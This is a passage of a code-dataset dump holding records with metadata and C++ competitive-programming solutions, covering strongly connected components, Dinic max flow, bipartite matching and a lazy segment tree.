printf(\"NO\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.354343056678772, "alphanum_fraction": 0.3709626793861389, "avg_line_length": 16.618783950805664, "blob_id": "0380816f63ab025f5833ddd85a2ff7b9546473d4", "content_id": "ff434f5e764bbbad5ebd37fbac331f6ae8a858e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3189, "license_type": "no_license", "max_line_length": 58, "num_lines": 181, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 30000;\n\nvector<int> g[MAXN];\nvector<int> rg[MAXN];\n\nint pos;\nint order[MAXN];\n\nbool mk[MAXN];\n\nvoid dfs( int u ){\n if( mk[u] ){\n return;\n }\n\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n dfs(v);\n }\n\n order[--pos] = u;\n}\n\nint cnt[MAXN];\nint SCC[MAXN];\nint sz_scc;\n\nvoid go( int u ){\n SCC[u] = sz_scc;\n cnt[sz_scc]++;\n mk[u] = true;\n\n for( int i = 0; i < rg[u].size(); i++ ){\n int v = rg[u][i];\n if( !mk[v] ){\n go( v );\n }\n }\n}\n\nconst int MAXV = 1010;\n\nvector<int> G[MAXV];\nint ok[MAXV][MAXV];\nint is_ok( int u, int v ){\n if( ok[u][v] ){\n return ok[u][v];\n }\n\n if( u == v ){\n return (ok[u][v] = 1);\n }\n\n ok[u][v] = -1;\n for( int i = 0; i < G[u].size(); i++ ){\n int x = G[u][i];\n if( is_ok( x , v ) == 1 ){\n ok[u][v] = 1;\n break;\n }\n }\n\n return ok[u][v];\n}\n\nint solve( int u, int v ){\n if( is_ok(u,v) == -1 ){\n swap( u , v );\n }\n\n int sol = 0;\n for( int i = 1; i <= sz_scc; i++ ){\n if( is_ok( u , i ) == 1 && is_ok( i , v ) == 1 ){\n sol += cnt[i];\n }\n }\n\n return sol;\n}\n\ntypedef pair<int,int> par;\npar arcs[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n freopen(\"output.txt\", \"w\", stdout);\n\n\tvector<int> sol;\n\n\tint n, m; cin >> n >> m;\n\tfor( int i = 0; i < m; i++ ){\n int u, v; cin >> u >> v;\n g[u].push_back(v);\n rg[v].push_back(u);\n\n sol.push_back(i+1);\n arcs[i+1] = par( u , v );\n\t}\n\n pos = n+1;\n for( int i = 1; i <= n; i++ ){\n dfs(i);\n }\n\n fill( mk , mk + n + 1 , false );\n\n sz_scc = 0;\n for( int i = 1; i <= n; i++ ){\n if( !mk[ order[i] ] ){\n sz_scc++;\n go( order[i] );\n }\n }\n\n //cerr << \"sz_scc = \" << sz_scc << '\\n';\n\n for( int i = 1; i <= m; i++ ){\n int u = arcs[i].first;\n int v = arcs[i].second;\n\n //cerr << \"---> \" << u << ' ' << v << '\\n';\n\n u = SCC[u];\n v = SCC[v];\n\n if( u != v ){\n G[u].push_back(v);\n //cerr << \"----> \" << u << ' ' << v << '\\n';\n }\n }\n\n //cerr << \"is_ok = \" << is_ok( 3 , 5 ) << '\\n';\n\n int solw = 0;\n for( int i = 1; i <= sz_scc; i++ ){\n solw = max( solw , cnt[i] );\n }\n\n int WW = solw;\n\n for( int i = 1; i <= m; i++ ){\n int u = arcs[i].first;\n int v = arcs[i].second;\n\n u = SCC[u];\n v = SCC[v];\n\n int tmp = 0;\n if( u != v && solw <= (tmp = solve( u , v )) ){\n if( tmp == WW ){\n continue;\n }\n\n if( solw < tmp ){\n sol.clear();\n }\n\n sol.push_back(i);\n solw = tmp;\n }\n }\n\n cout << solw << '\\n';\n cout << sol.size() << '\\n';\n for( int i = 0; i < sol.size(); i++ ){\n cout << sol[i] << \" \\n\"[i+1==sol.size()];\n }\n}\n" }, { "alpha_fraction": 0.36725664138793945, "alphanum_fraction": 0.39380529522895813, "avg_line_length": 18.545454025268555, "blob_id": "7132e832722fcf52098841cc78fc2d350ec40f45", "content_id": "73d53ec7f2085e6ec691c9003dc1846939b8fe93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 226, "license_type": "no_license", "max_line_length": 73, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p3025-Accepted-s705443.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nlong long n, b[105];\r\n\r\nint main() {\r\n\tscanf(\"%lld\", &n);\r\n\tfor (long long i = 1; i <= n; i++) {\r\n\t\tscanf(\"%lld\", b + i);\r\n\t\tprintf(\"%lld%c\", i * b[i] - (i - 1) * b[i - 1], (i != n) ? ' ' : '\\n');\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4483550190925598, "alphanum_fraction": 0.4638102650642395, "avg_line_length": 21.303754806518555, "blob_id": "4e30a918eee0f30ab123174f473b9433cbbe6332", "content_id": "a86dc5a08b3f881ebd9502f0aa9b6193fb942403", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6535, "license_type": "no_license", "max_line_length": 100, "num_lines": 293, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/I4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\nusing namespace std;\nconst int MAXN = 1010;\nconst int MAXE = 2*100010 + 2*1010;\ntypedef pair<int,int> par;\n\nint ady[MAXE],flow[MAXE],cap[MAXE];\nint now[MAXN], last[MAXN];\nnamespace dinic{\n\tint next[MAXE];\n\tint E;\n\tint s,t,n;\n\tvoid init_max_flow(int nn,int ss,int tt, int edges){\n\t\tE=2; n=nn; s=ss; t=tt;\n\t\tfor(int i = 0; i <= n ; i++)\n\t\t\tlast[i] = 0;\n\t\tfor( int i = 2; i <= n+2*edges; i++ ){\n\t\t\tnext[i] = 0;\n\t\t}\n\t}\n\tvoid add_edge(int v,int u,int c){\n\t ady[E]=u;\n\t flow[E]=0; cap[E]=c;\n\t next[E]=last[v]; last[v]=E++;\n\t}\n\tint cola[MAXN],enq,deq,level[MAXN];\n\tbool BFS(){\n\t int i,v,u;\n\t for(i=0;i<=n;i++) level[i]=0;\n\t level[s]=1;\n\t enq=deq=0; cola[enq++]=s;\n\t while(enq-deq>0 && !level[t]){\n\t\t v=cola[deq++];\n\t\t for(int i=last[v];i;i=next[i]){\n\t\t\t u=ady[i];\n\t\t\t if(!level[u] && flow[i] < cap[i]){\n\t\t\t\t level[u]=level[v]+1;\n\t\t\t\t cola[enq++]=u;\n\t\t\t }\n\t\t }\n\t }\n\t return level[t];\n}\nint DFS(int v,int flujo){\n if(v==t) return flujo;\n for(int f, i = now[v]; i; i = now[v] = next[i]){\n int u = ady[i];\n if(level[v]+1 == level[u] && flow[i] < cap[i]){\n if( (f = DFS(u,min(flujo,cap[i]-flow[i])) ) ){\n flow[i]+=f;\n flow[i^1]-=f;\n return f;\n }\n }\n }\n return 0;\n}\n\n\tint MAXFLOW(){\n\t int flow=0,f;\n\t while(BFS()){\n\t\t for(int i = 0; i <= n; i++) \n\t\t \t now[i]=last[i];\n\t\t while( (f = DFS(s, 1<<20 )) ) flow += f;\n\t }\n\t return flow;\n\t}\n\tbool is_saturated( int e ){\n\n\t\treturn ( ady[e^1] != s && ady[e] != t && cap[e] == flow[e]);\n\t}\n\t\n\tinline int get_u( int e ){\n\t\treturn ady[e^1];\n\t}\n\tinline int get_v( int e ){\n\t\treturn ady[e];\n\t}\n\n};\n\nint src, sink;\nbool maximal_matchable[MAXE];\nint match[MAXN]; // node in match\nint way[MAXN][MAXN];\nint ed_match[MAXE];\nint maximal_m[MAXN][MAXN];\n\nnamespace scc{\n\tusing namespace dinic;\n\tint get_node( int e, int x ){\n\t\tif( get_u( e ) == x )\n\t\t\treturn get_v(e);\n\t\treturn get_u( e );\n\t}\n\tvector<int> comp[MAXN];\n\tint dfstime[MAXN], low[MAXN], in_stack[MAXN], \n\t\tsccnum = 0,dfsnum = 0;\n\tstack<par> stk;\n\n\tvoid scc(int u, int e){\n\t//\tcout << \"start u: \" << u << \" e: \" << e << endl;\n\t\tdfstime[ u ] = low[ u ] = ++dfsnum;\n\t\tstk.push( make_pair( u, e ) );\n\t\tin_stack[ u ] = 1;\n\t\tint saturated = (e==-1)?-1:( ed_match[e] || ed_match[e^1] );\n\t\t\n\t\tfor(int i = last[u]; i ; i = dinic::next[i]){\n\t\t\tint v = get_node( i, u );\n\t\t//\tcout << \"v: \" << v << '\\n';\n\t\t\t\t//cout << \"\\ted_m(\" << i << \"): \" << ed_match[i] << '\\n';\n\t\t\t\t//cout << \"\\te: \" << e << \" state: \" << saturated << '\\n';\n\t\t\tif( !match[v] || ed_match[i] == saturated || v == src || v == sink ) \n\t\t\t\tcontinue;\n\n\t\t\tif(!dfstime[v]){\n\t\t\t\tscc(v, i);\n\t\t\t\tlow[ u ] = min(low[ u ],low[v]);\n\t\t\t}\n\t\t\telse if(in_stack[v]){ \n\t\t\t\tif( dfstime[v] < low[u] ){\n\t\t\t\t\tlow[u] = dfstime[v];\n\t\t\t\t//\tstk.push( make_pair( 0, i ) );\n\t\t\t\t}\n\t\t\t\t//low[ u ] = min(low[u],dfstime[v]);\n\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(dfstime[ u ] == low[ u ]){\n\t\t//\tcout << \"maximal: \\n\";\n\t\t\tsccnum++;\n\t\t\twhile(in_stack[u]){\n\t\t\t\tpar x = stk.top();\n\t\t\t\tstk.pop();\n\t\t//\t\tcout << \"nod: \" << x.first << endl;\n\t\t//\t\tcout << \"ed : \" << x.second << endl;\n\t\t\t\t//if( x.first ) \n\t\t\t\tin_stack[x.first]=0;\n\t\t\t\tcomp[sccnum].push_back( x.first );\n\t\t\t\t//maximal_m[ant][x.first] = maximal_m[x.first][ant] = true;\t\n\t\t\t\t//if( in_stack[u] )\n\t\t\t\t//\tmaximal_matchable[x.second] = maximal_matchable[x.second^1] = true;\n\t\t\t}\n\t\t}\n\t//\tcout << \"end u : \" << u << '\\n';\n\t}\n\tvoid find_scc( int nodes ){\n\t\tdfsnum = sccnum = 0;\n\t\tfor( int i = 1; i <= nodes; i++ )\n\t\t\tlow[i] = dfstime[i] = 0;\n\t\tfor(int i = 1; i <= nodes;i++){\n\t\t\tif( match[i] && !dfstime[i]){\n\t//\t\t \tcout << \"--------------------\\n\";\n\t\t\t\tscc(i, -1);\n\t\t\t}\n\t\t}\n\t\tfor( int x = 1; x <= sccnum; x++ ){\n\t\t\t//cerr << \"comp: \" << x << \":\\n\";\n\t\t\tfor( int i = 0; i < (int)comp[x].size(); i++ ){\n\t\t\t\t//cerr << comp[x][i] << ' ';\n\t\t\t\tfor( int j = 0; j < (int)comp[x].size(); j++ ){\n\t\t\t\t\tint id = 2*way[ comp[x][i] ][ comp[x][j] ]; \n\t\t\t\t\tif( i != j )\n\t\t\t\t\t\tmaximal_matchable[id] = maximal_matchable[id^1] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//cerr << \"\\n\";\n\t\t}\n\t\n\t}\n\n};\n\nbool mk[MAXN];\nqueue<par> q;\nvoid bfs( ){\n\twhile( !q.empty() ){\n\t\tint u = q.front().first;\n\t\tint e = q.front().second;\n\t\t//cerr << \"u: \" << u << \" e: \" << e << '\\n'; \n\t\tq.pop();\n\t\tint saturated;\n\t\tif( e == -1 )\n\t\t\tsaturated = 1;\n\t\telse if( e == -2 )\n\t\t\tsaturated = 1;\n\t\telse \n\t\t\tsaturated = ed_match[e];\n\t\t\n\t\tfor( int i = last[u]; i ; i = dinic::next[i] ){\n\t\t\tint v = scc::get_node( i, u );\n\t\t//\tcerr << \"v: \" << v << endl;\n\t\t//\tcerr << \"ed: \" << i/2 << \"--->match: \" <<ed_match[i] << endl;\n\t\t\tif( (ed_match[i^1] == saturated && ed_match[i] == saturated) || v == src || v == sink ) continue;\n\t\t\t\t\n\t\t\tmaximal_matchable[i] = maximal_matchable[i^1] = true;\n\t\t\tif( !mk[v] ){\n\t\t\t\tq.push( par( v, i ) );\n\t\t\t\tmk[v] = true;\n\t\t\t}\t\n\t\t}\n\n\t}\n\n}\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\n\tint n, m ,k;\t\n\tcin >> n >> m >> k;\n\tsrc = n+m+1,\n\tsink = n+m+2;\n\tdinic::init_max_flow( n+m+3, src, sink, k );\n\n\tfor( int i = 0,a,b; i < k; i++ ){\n\t\tcin >> a >> b;\n\t\tway[a][b+n] = i+1;\n\t\tway[b+n][a] = i+1;\n\t\tdinic::add_edge( a, b+n, 1 );\n\t\tdinic::add_edge( b+n, a, 0 );\n\t}\n\tfor( int i = 1; i <= n; i++ ){\n\t\tdinic::add_edge( src, i, 1 );\n\t\tdinic::add_edge( i, src, 0 );\n\t}\n\t\n\tfor( int i = 1; i <= m; i++ ){\n\t\tdinic::add_edge( n+i, sink, 1 );\n\t\tdinic::add_edge( sink, n+i, 0 );\n\t}\n\n\n\t//int max_match =0;\n\tdinic::MAXFLOW();\n\t\n\t//cout << \"match:\" << max_match << '\\n';\n\n\tfor( int i = 2; i < dinic::E; i+= 2 ){\n\t\tif( dinic::is_saturated( i ) ){\n\t\t\ted_match[i] = ed_match[i^1] = true;\n\t\t\tmaximal_matchable[i] = true;\n\t\t\tint u = dinic::get_u(i),\n\t\t\t\tv = dinic::get_v(i);\n\t\t\tmatch[u] = match[v] = true;\n\t\t\t//cerr << \"u: \" << u << \" v: \" << (v) << '\\n';\n\t\t\tmaximal_m[u][v] = maximal_m[v][u] = true;\n\t\t}\n\t}\n\t\n\tscc::find_scc( n+m );\n\tvector<int> ans;\n\t\n\t//cerr << \"bfs:\\n\";\n\tfill( mk, mk+n+m+1, 0 );\n\tfor( int i = 1; i <= n; i++ )\n\t\tif( !match[i] ){\n\t\t\tq.push( par(i, -2) );\n\t\t\tmk[i] = true;\n\t\t}\n\tbfs();\n\t\n\t//cerr << \"bfs2:\\n\";\n\tfill( mk, mk+n+m+1, 0 );\n\tfor( int i = 1; i <= m; i++ )\n\t\tif( !match[i+n] ){\n\t\t\tq.push( par(i+n, -1) );\n\t\t\tmk[i+n] = true;\n\t\t}\n\t//cerr << '\\n';\n\tbfs();\t\n\n\tfor( int i = 2; i < dinic::E; i+= 2 ){\n\t\tif(maximal_matchable[i] || maximal_matchable[i^1])\n\t\t\tans.push_back( i/2 );\n\t\telse{\n\t\t\tint u = dinic::get_u(i),\n\t\t\t\tv = dinic::get_v(i);\n\t\t\tif( maximal_m[u][v] || maximal_m[v][u] )\n\t\t\t\tans.push_back( i/2 );\n\t\t}\n\t}\n\n\n\tcout << ans.size() << '\\n';\n\tfor( int i = 0; i < (int)ans.size(); i++ ){\n\t\tcout << ans[i] << \" \\n\"[ i+1 == (int)ans.size() ];\n\t}\n\n}\n" }, { "alpha_fraction": 0.38132911920547485, "alphanum_fraction": 0.3876582384109497, "avg_line_length": 16.58823585510254, "blob_id": "bfc658c3ddc6cea88158385c41047608dc3a59f9", "content_id": "d97838b9da9486cb08275e87ff3e496c3e07ca79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 632, "license_type": "no_license", "max_line_length": 54, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2686-Accepted-s660702.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint N;\r\nstring line, s;\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> N;\r\n\tgetline(cin, line);\r\n\twhile (N--) {\r\n\t\tgetline(cin, line);\r\n\t\tfor (int i = 0; line[i]; ) {\r\n\t\t\tif (line[i] == ' ') {\r\n\t\t\t\tcout << line[i];\r\n\t\t\t\ti++;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ts.clear();\r\n\t\t\twhile (line[i] && line[i] != ' ')\r\n\t\t\t\ts += line[i++];\r\n\t\t\tint j = s.size() - 1;\r\n\t\t\twhile (j >= 0 && (s[j] == 'S' || s[j] == 's')) j--;\r\n\t\t\tfor (int k = 0; k <= j; k++) {\r\n\t\t\t\tif (s[k] >= 'a' && s[k] <= 'z')\r\n\t\t\t\t\ts[k] += 'A' - 'a';\r\n\t\t\t\tcout << s[k];\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4163497984409332, "alphanum_fraction": 0.46292775869369507, "avg_line_length": 14.701492309570312, "blob_id": "0a22f69ee4f2548ca2070549721dc3e890acbd35", "content_id": "d3d2f62ac61c1c3cc43a51da16c58f94e9f25ca7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1052, "license_type": "no_license", "max_line_length": 72, "num_lines": 67, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD = 1000000007;\n\ninline void add(int &a, int b) {\n\ta += b;\n\tif (a >= MOD) {\n\t\ta -= MOD;\n\t}\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % MOD;\n}\n\ninline int power(int x, int n) {\n\tint res = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\tres = mul(res, x);\n\t\t}\n\t\tx = mul(x, x);\n\t\tn >>= 1;\n\t}\n\treturn res;\n}\n\nconst int N = 1000;\n\nint C[N + 5][N + 5];\nint f[N + 5];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfreopen(\"galactic.in\", \"r\", stdin);\n\tfor (int i = 0; i <= N; i++) {\n\t\tC[i][0] = C[i][i] = 1;\n\t\tfor (int j = 1; j < i; j++) {\n\t\t\tC[i][j] = C[i - 1][j - 1];\n\t\t\tadd(C[i][j], C[i - 1][j]);\n\t\t}\n\t}\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n, k;\n\t\tcin >> n >> k;\n\t\tif (k > n) {\n\t\t\tcout << \"0\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tf[1] = 1;\n\t\tfor (int i = 2; i <= k; i++) {\n\t\t\tf[i] = power(i, n);\n\t\t\tfor (int j = 1; j < i; j++) {\n\t\t\t\tadd(f[i], MOD - mul(C[i][j], f[j]));\n\t\t\t}\n\t\t}\n\t\tcout << f[k] << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3034001886844635, "alphanum_fraction": 0.31843939423561096, "avg_line_length": 22.28934097290039, "blob_id": "0254f998dce4bff9d9a9b4e9e4767c87ec26fa95", "content_id": "d98ae813e2753b56bfa462a9a84b523764e8f61c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4588, "license_type": "no_license", "max_line_length": 92, "num_lines": 197, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/E4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXR = 110;\nconst int MAXN = 10100;\n\nint R, C;\nstring mapa[MAXR];\n\nint nod[MAXR][MAXR];\nchar solMX[MAXR][MAXR];\nchar solMN[MAXR][MAXR];\n\npar coord1[MAXN];\npar coord2[MAXN];\n\nbool can_move( int i, int j ){\n return ( i >= 0 && j >= 0 && i < R && j < C );\n}\n\nint movI[] = { 0 , 1 , 0 , -1 };\nint movJ[] = { 1 , 0 , -1 , 0 };\nchar dir[] = { 'R' , 'D' , 'L' , 'U' };\n\nvector<int> g[MAXN];\nint from[MAXN];\nint go[MAXN];\nbool mk[MAXN];\n\nbool dfs( int u ){\n if( mk[u] ){\n return false;\n }\n\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( !from[v] || dfs( from[v] ) ){\n from[v] = u;\n go[u] = v;\n return true;\n }\n }\n\n return false;\n}\n\nchar get_dir( int i, int j, int ii, int jj ){\n for( int k = 0; k < 4; k++ ){\n if( i + movI[k] == ii && j + movJ[k] == jj ){\n return dir[k];\n }\n }\n\n return '.';\n}\n\npar father[MAXR][MAXR];\n\nvoid dfs2( int i, int j ){\n for( int k = 0; k < 4; k++ ){\n int ii = i + movI[k];\n int jj = j + movJ[k];\n if( can_move( ii, jj ) && mapa[ii][jj] == '?' && father[ii][jj].first == -1 ){\n father[ii][jj] = par( i , j );\n dfs2( ii , jj );\n\n if( father[i][j].first == i && father[i][j].second == j ){\n solMN[i][j] = get_dir( i , j , ii , jj );\n }\n }\n }\n\n if( !(father[i][j].first == i && father[i][j].second == j) ){\n solMN[i][j] = get_dir( i , j , father[i][j].first , father[i][j].second );\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> R >> C;\n\n int n = 0, m = 0;\n\n for( int i = 0; i < R; i++ ){\n cin >> mapa[i];\n\n for( int j = 0; j < C; j++ ){\n solMX[i][j] = solMN[i][j] = mapa[i][j];\n\n if( mapa[i][j] == '?' ){\n if( (i+j) % 2 == 0 ){\n nod[i][j] = ++n;\n coord1[n] = par( i , j );\n }\n else{\n nod[i][j] = ++m;\n coord2[m] = par( i , j );\n }\n }\n }\n }\n\n for( int i = 0; i < R; i++ ){\n for( int j = 0; j < C; j++ ){\n father[i][j] = par( -1 , -1 );\n }\n }\n\n for( int i = 0; i < R; i++ ){\n for( int j = 0; j < C; j++ ){\n if( mapa[i][j] == '?' && father[i][j].first == -1 ){\n father[i][j] = par( i , j );\n dfs2( i , j );\n }\n }\n }\n\n for( int i = 0; i < R; i++ ){\n for( int j = (i % 2); j < C; j+=2 ){\n if( nod[i][j] ){\n for( int k = 0; k < 4; k++ ){\n int ii = i + movI[k];\n int jj = j + movJ[k];\n\n if( can_move( ii , jj ) && nod[ii][jj] ){\n g[ nod[i][j] ].push_back( nod[ii][jj] );\n }\n }\n }\n }\n }\n\n for( int i = 1; i <= n; i++ ){\n fill( mk , mk + n + 1 , false );\n dfs(i);\n }\n\n for( int i = 0; i < R; i++ ){\n for( int j = 0; j < C; j++ ){\n if( mapa[i][j] == '?' ){\n if( (i+j) % 2 == 0 ){\n if( go[ nod[i][j] ] ){\n int v = go[ nod[i][j] ];\n solMX[i][j] = get_dir( i , j , coord2[v].first , coord2[v].second );\n }\n }\n else{\n if( from[ nod[i][j] ] ){\n int v = from[ nod[i][j] ];\n solMX[i][j] = get_dir( i , j , coord1[v].first , coord1[v].second );\n }\n }\n }\n }\n }\n\n for( int i = 0; i < R; i++ ){\n for( int j = 0; j < C; j++ ){\n if( solMX[i][j] == '?' ){\n for( int k = 0; k < 4; k++ ){\n int ii = i + movI[k];\n int jj = j + movJ[k];\n\n if( can_move( ii , jj ) && mapa[ii][jj] == '?' ){\n solMX[i][j] = get_dir( i , j , ii , jj );\n }\n }\n }\n }\n }\n\n for( int i = 0; i < R; i++ ){\n for( int j = 0; j < C; j++ ){\n cout << solMN[i][j];\n }\n cout << '\\n';\n }\n\n cout << '\\n';\n\n\n for( int i = 0; i < R; i++ ){\n for( int j = 0; j < C; j++ ){\n cout << solMX[i][j];\n }\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.36317136883735657, "alphanum_fraction": 0.41943734884262085, "avg_line_length": 19.72222137451172, "blob_id": "bfb421318f1a60f2b1ca15ceb112daf50083b8c6", "content_id": "62f7ac269ca54f951d3b84cfe1b68a008d0a11e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 391, "license_type": "no_license", "max_line_length": 73, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2434-Accepted-s457858.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nbool s[51];\r\nunsigned long long a[51];\r\nint n;\r\n\r\nint main(){\r\n s[0]=1;\r\n s[1]=1;\r\n for(int i=2; i*i<=50; i++)if(!s[i])for(int j=i*i; j<=50; j+=i)s[j]=1;\r\n a[2]=2;\r\n for(int i=3; i<51; i++){\r\n if(!s[i])a[i]=i*a[i-1];\r\n else a[i]=a[i-1];\r\n }\r\n while(cin >> n && n!=0)cout << a[n] << endl;\r\n }\r\n" }, { "alpha_fraction": 0.4334038197994232, "alphanum_fraction": 0.45665961503982544, "avg_line_length": 19.5, "blob_id": "50c66d9dbbb11f340276f989a2c1e712136c3044", "content_id": "4e05a72e44f4f9892ba965979d7545a88ee4ef17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 473, "license_type": "no_license", "max_line_length": 109, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p3318-Accepted-s826339.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint a, b, c;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> a >> b >> c) {\r\n\t\tif (a == 0 && b == 0 && c == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tdouble da = a;\r\n\t\tdouble db = b;\r\n\t\tdouble dc = c;\r\n\t\tdouble vol = 4.0 * M_PI / 3.0 + M_PI * (da + db + dc) + da * db * dc + 2.0 * (da * db + db * dc + dc * da);\r\n\t\tcout << fixed << vol << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4230349361896515, "alphanum_fraction": 0.4503275156021118, "avg_line_length": 22.756755828857422, "blob_id": "51dcbf3a1d7678057bcfa609e583a63c9f19e928", "content_id": "4aad87471e09c5644e6b913a77f6c1d77358d472", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1832, "license_type": "no_license", "max_line_length": 60, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p2791-Accepted-s598549.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 100010;\r\n\r\nint n, r;\r\nll k, arr[MAXN], sum[4 * MAXN], lazy[4 * MAXN];\r\n\r\nll build(int idx, int l, int r) {\r\n\tif (l == r) return sum[idx] = arr[l];\r\n\tint mid = (l + r) >> 1;\r\n\treturn sum[idx] = build(idx << 1, l, mid)\r\n\t\t\t\t\t\t+ build((idx << 1) | 1, mid + 1, r);\r\n}\r\n\r\nvoid propagate(int idx, int l, int r) {\r\n\tif (lazy[idx]) {\r\n\t\tsum[idx] += ((ll)(r - l + 1)) * lazy[idx];\r\n\t\tif (l != r) {\r\n\t\t\tlazy[idx << 1] += lazy[idx];\r\n\t\t\tlazy[(idx << 1) | 1] += lazy[idx];\r\n\t\t}\r\n\t\tlazy[idx] = 0ll;\r\n\t}\r\n}\r\n\r\nvoid update(int idx, int l, int r, int ul, int ur, ll upd) {\r\n\tpropagate(idx, l, r);\r\n\tif (l > ur || r < ul) return;\r\n\tif (l >= ul && r <= ur) {\r\n\t\tsum[idx] += ((ll)(r - l + 1)) * upd;\r\n\t\tif (l != r) {\r\n\t\t\tlazy[idx << 1] += upd;\r\n\t\t\tlazy[(idx << 1) | 1] += upd;\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tupdate(idx << 1, l, mid, ul, ur, upd);\r\n\t\tupdate((idx << 1) | 1, mid + 1, r, ul, ur, upd);\r\n\t\tsum[idx] = sum[idx << 1] + sum[(idx << 1) | 1];\r\n\t}\r\n}\r\n\r\nll query(int idx, int l, int r, int ql, int qr) {\r\n\tpropagate(idx, l, r);\r\n\tif (l > qr || r < ql) return 0ll;\r\n\tif (l >= ql && r <= qr) return sum[idx];\r\n\tint mid = (l + r) >> 1;\r\n\treturn query(idx << 1, l, mid, ql, qr) +\r\n\t\t\tquery((idx << 1) | 1, mid + 1, r, ql, qr);\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d%d%lld\", &n, &r, &k);\r\n\tfor (int i = 1; i <= n; i++) scanf(\"%lld\", arr + i);\r\n\tbuild(1, 1, n);\r\n\tint A = 0, X = 0;\r\n\tfor (int i = 1, a, b, c, d; i <= r; i++) {\r\n\t\tscanf(\"%d%d%d%d\", &a, &b, &c, &d);\r\n\t\tif (a > b) swap(a, b);\r\n\t\tll aa = query(1, 1, n, a, b);\r\n\t\tupdate(1, 1, n, a, b, k);\r\n\t\tif (c > d) swap(c, d);\r\n\t\tll ax = query(1, 1, n, c, d);\r\n\t\tupdate(1, 1, n, c, d, k);\r\n\t\tif (aa > ax) A++;\r\n\t\tif (ax > aa) X++;\r\n\t}\r\n\tprintf(\"Alfred: %d\\nXavier: %d\\n\", A, X);\r\n}\r\n" }, { "alpha_fraction": 0.45728641748428345, "alphanum_fraction": 